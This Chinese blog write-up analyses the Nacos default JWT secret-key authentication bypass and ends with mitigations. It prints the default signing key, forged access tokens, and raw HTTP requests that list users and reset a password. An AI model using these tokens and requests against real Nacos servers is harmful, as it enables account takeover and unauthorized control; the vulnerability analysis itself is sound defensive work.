Alibaba Nacos JWT令牌使用默认密钥浅析
创始人
2025-05-30 12:28:12

简介

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service的首字母简称,一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。

Nacos提供简单的鉴权实现,为防止业务错用的弱鉴权体系,不是防止恶意攻击的强鉴权体系。

一、漏洞原理

Nacos服务管理平台因默认密钥导致的认证绕过漏洞。在默认配置为未修改的情况下,攻击者可以构造用户 token 进入后台,导致系统被攻击与控制。许多Nacos 用户只开启了鉴权,但没有修改默认密钥,导致Nacos系统仍存在被入侵的风险。

V 1.4.2

V 2.2.0

大致讲一下相关的内容:

1、Nacos鉴权原理

Nacos 支持基于 JWT 的鉴权,JWT 是一种标准的 JSON 格式的令牌,用于在不同系统之间传递信息。Nacos 的基于 JWT 的鉴权原理和过程如下:

  1. 用户登录:用户通过客户端或者浏览器向 Nacos Server 发送登录请求,Nacos Server 会验证用户提供的用户名和密码是否正确。

  1. 生成 JWT:如果用户名和密码正确,Nacos Server 会生成一个 JWT,并将 JWT 返回给客户端。JWT 包含了用户的身份信息和权限信息,并使用密钥对 JWT 进行签名,以确保 JWT 的完整性和真实性。

  1. 客户端请求资源:客户端在向 Nacos Server 发送请求时,需要在请求头中携带 JWT。Nacos Server 会从 JWT 中获取用户的身份信息和权限信息,并判断用户是否有权限访问请求的资源。

  1. 验证 JWT:Nacos Server 会使用密钥对 JWT 进行验证,以确保 JWT 的完整性和真实性。如果 JWT 无效或已过期,则请求会被拒绝。

  1. 权限控制:Nacos Server 会根据 JWT 中的用户信息,判断用户是否有权限访问请求的资源。如果用户没有权限,则请求会被拒绝。

2、JWT工作流

JWT 是一种用于身份验证和授权的标准,全称为 JSON Web Token。它是一种开放的标准(RFC 7519),可以用于在不同的应用程序和服务之间传输安全的信息。

JWT 由三部分组成:头部(Header)、载荷(Payload)和签名(Signature)。头部和载荷都是 JSON 格式的数据,签名是对头部、载荷和密钥进行计算后得到的字符串,用于验证 JWT 的真实性和完整性。

JWT 的工作流程如下:

  1. 用户登录成功后,服务端生成 JWT 并将其返回给客户端。

  1. 客户端在每个后续请求中将 JWT 作为 Authorization 头部的 Bearer 令牌发送到服务端。

  1. 服务端验证 JWT 的签名,并解码 JWT 中的载荷,以确定用户的身份和权限。

  1. 如果 JWT 签名有效,且用户有足够的权限访问请求的资源,则服务端返回请求的资源。

https://jwt.io/introduction

组成如下图所示:

HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),secret)

2.1 JWT无状态登录

JWT 令牌是无状态的,服务端不需要在服务器端存储用户的身份信息,因此在服务端无法检查该 JWT 令牌是否对应一个真实存在的用户。如果攻击者使用一个不存在的用户来构造有效的 JWT 令牌,并将该令牌发送到服务端进行验证,服务端将无法检测到该用户是否真实存在,因此将会认为该令牌是有效的,并允许攻击者进行操作。

3、HS256简介

HS256 是一种基于 HMAC-SHA256 哈希算法的对称加密算法,常用于 JWT(JSON Web Token)的签名过程。

在使用 HS256 算法进行签名时,需要一个密钥(通常是一个字符串),该密钥与要签名的数据进行 HMAC-SHA256 哈希运算,生成一个固定长度的签名。在验证签名时,接收方使用相同的密钥对接收到的数据进行哈希运算,然后比较生成的签名与接收到的签名是否一致,以确定数据的完整性和可信性。

由于 HS256 算法是对称加密算法,因此密钥需要在发送方和接收方之间共享。如果密钥被泄露,攻击者可以使用它来伪造签名并篡改数据。

在Nacos<=2.2.0版本中,存在默认秘钥:

SecretKey012345678901234567890123456789012345678901234567890123456789

如下图所示,在新版本中已经将其置空,并且规定秘钥长度必须大于等于32字节,且使用base64加密。

二、漏洞利用

搭建环境后默认用户密码为nacos\nacos

accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3OTA2MTA0Nn0.sYPL3P75QHSKugOeFlztsH2V3U16OYam2C9Ua74jr6E

密码错误时的状态:

添加了一个用户,test\qqqaaazzz

1、认证伪造

1、延长时间戳,POST 密码错误,用户名正确 ✅

2、延长时间戳,POST 密码错误,用户名错误 ✅

3、删除时间戳,POST 密码错误,用户名错误 ✅

说明和POST内容无关了,任意,但是不能缺少必要字段;

搭建版本1.4.2和2.2.0,去掉exp并不会强制校验,仍可登录成功:

4、JWT鉴权,修改用户名,非用户也能认证成功 ✅

对存在默认秘钥的系统来说,可以伪造任意用户进行认证。只是除管理员权限外其他用户看不到部分内容;

2、读取用户列表

V 1.4.2

GET /v1/auth/users?pageNo=1&pageSize=9&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyJ9.FAwWCYhXbMVra7WjEBMVrhYGoRU1OtNiPvHKJodj31o HTTP/1.1
Host: xxxxxxx:8001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: xxxxxxx:8001
Connection: close
Referer:  xxxxxxx:8001username=nacos&password=nacos

V 2.2.0 需要增加search参数

POST方式,如果用户不存在,则直接创建用户:

3、修改用户密码

V 1.4.2

PUT /v1/auth/users?pageNo=1&pageSize=9&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg4NzgwNX0.cO3ELLBegJA-LsQ5rqttkbdliZp7p0Me-fw-Snqa8Gc HTTP/1.1
Host:  xxxxxxx:8001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin:  xxxxxxx:8001
Connection: close
Referer:  xxxxxxx:8001username=nacos&newPassword=nacosa

V 2.2.0

三、漏洞修复

更新版本:

https://nacos.io/zh-cn/blog/announcement-token-secret-key.html

缓解措施:

1、修改application.properties文件中token.secret.key属性为自定义key,可参考:https://nacos.io/zh-cn/docs/v2/guide/user/auth.html

2、将Nacos部署于内部网络环境,通过内网或VPN访问;

Y1X1n安全

时间倾斜,愿你无邪。

相关内容

热门资讯

【前端八股文】JavaScri... 文章目录Set概念与arr的比较属性和方法并集、交集、差集Map概念属性和方法String用索引值和...
海康硬盘录像机接入RTSP/o... EasyNVR安防视频云服务平台可支持设备通过RTSP/Onvif协议接入平台,能提供...
在混合劳动力时代如何避免网络安... 在混合劳动力时代如何避免安全网络风险 三年多来,混合工作一直是工作生活中不可或缺的一...
2023还不懂Jmeter接口... 这里介绍的Jmeter接口测试的的实战,如果文章内容没遇看懂的话,我这边...
基于4G/5G弱网聚合的多链路... 基于4G/5G多卡聚合(弱网聚合)的智能融合通信设备技术亮点 增强带宽提供可靠连接 通过将多个有线和...
如何使用Synplify综合v... 文章目录使用Synplify综合的好处synplify的教程方法1(无效)...
2023年全国最新高校辅导员精... 百分百题库提供高校辅导员考试试题、辅导员考试预测题、高校辅导员考试真题、辅导员证考试题库等ÿ...
2022年18个值得期待的Le... 有数百个独特的LearnDash附加组件,您可能很难选择您的LearnDash LMS...
【java基础】Stream流... 文章目录基本介绍流的创建流的各种常见操作forEach方法filter方法map方法peek方法fl...
javaweb高校行政办公自动... 本课题基于我国高校管理信息化建设现状,结合在实际工作中所遇到的问题和收获,...
一款专门为自动化测试打造的集成... 你好,我是不二。 随着行业内卷越来越严重,自动化测试已成为测试工程师的...
【go-zero】golang... 一、casbin 概览 1、casbin基本了解 casbin的GitHub:https://git...
现在开发低代码平台算晚吗? 现在开发低代码平台算晚吗?作为低代码的亲戚——零代码厂商,这篇就以“厂商...
【JavaWeb】书城项目(2... 222.书城项目-第三阶段:修改所有html页面为jsp页面 改成jsp页面之后&#x...
基于jeecgboot的大屏设...      通过前面设计好数据源后,就要进行数据集的设计了。      一、还是在onl...
Linux命令小技巧:显示文件... 工作中会有很多千奇百怪的需求,比如:如何在 Linux 命令行中快速找到...
【找工作】-- 大数据工程师找... 目录 1.前言 2.找工作的理论知识 2.1 分析个人特征 2.1.1 你自身优势是什么?
C++基础算法④——排序算法(... 排序算法 1.插入排序 2.桶排序 1.插入排序 基本思想:将初始数据分为有序部分和...
nginx快速入门.跟学B站n... nginx快速入门.跟学B站nginx一小时精讲课程笔记nginx简介及环境准备nginx简介环境准...
ORACLE存过互相调用之间事... 今天在问答区看到一个问题是 假如有procedureA、procedureB和procedureC&...
基于java中Springbo... 基于java中Springboot框影视影院订票选座管理系统 开发语言:Java 框...
CVE-2018-18086 最近闲来无事,看到青少年CTF平台,感觉对新手还是比较友好的࿰...
【深度学习】基于Hough变化... 💥💥💞💞欢迎来到本博客❤️❤️&#x...
AtCoder Beginne... D - Bank (atcoder.jp)         (1)题目大...
VxWorkds 内存管理(3... 虚拟内存管理 对于带MMU的目标板,VxWorks提供虚拟内存的支持,V...
【微服务】—— 统一网关Gat... 文章目录1. 概述1.1 为什么需要网关1.2 SpringCloud Gateway2. gate...
文心一言实际测试——让我们拿实... 文心一言实际测试——让我们拿实际说好坏 4月16日,文心一言闪亮登场,就...
Postgresql源码(10... 0 总结 (可以最后看) PLpgSQL_execstate中包含的两个...
网络技术与应用概论(上)——“... 各位CSDN的uu们你们好呀,今天,小雅兰的内容依旧是计算机网络的一些知...
Yolov5 QAT量化训练 1. QAT介绍 从 模型量化(5): 敏感层分析可以看出来,对于yolov5-nano模型,对最后...